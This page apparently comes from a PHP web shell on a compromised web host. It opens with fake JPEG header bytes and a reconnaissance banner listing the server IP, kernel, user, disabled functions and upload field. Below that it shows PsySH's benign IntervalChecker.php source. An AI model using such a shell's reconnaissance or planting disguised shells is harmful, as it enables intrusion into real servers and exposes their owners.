ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/psy/psysh/src/Psy/VersionUpdater/ |
Upload File : |
<?php
/*
* This file is part of Psy Shell.
*
* (c) 2012-2017 Justin Hileman
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Psy\VersionUpdater;
use Psy\Shell;
class IntervalChecker extends GitHubChecker
{
private $cacheFile;
private $interval;
public function __construct($cacheFile, $interval)
{
$this->cacheFile = $cacheFile;
$this->interval = $interval;
}
public function fetchLatestRelease()
{
// Read the cached file
$cached = json_decode(@file_get_contents($this->cacheFile, false));
if ($cached && isset($cached->last_check) && isset($cached->release)) {
$now = new \DateTime();
$lastCheck = new \DateTime($cached->last_check);
if ($lastCheck >= $now->sub($this->getDateInterval())) {
return $cached->release;
}
}
// Fall back to fetching from GitHub
$release = parent::fetchLatestRelease();
if ($release && isset($release->tag_name)) {
$this->updateCache($release);
}
return $release;
}
private function getDateInterval()
{
switch ($this->interval) {
case Checker::DAILY:
return new \DateInterval('P1D');
case Checker::WEEKLY:
return new \DateInterval('P1W');
case Checker::MONTHLY:
return new \DateInterval('P1M');
}
}
private function updateCache($release)
{
$data = array(
'last_check' => date(DATE_ATOM),
'release' => $release,
);
file_put_contents($this->cacheFile, json_encode($data));
}
}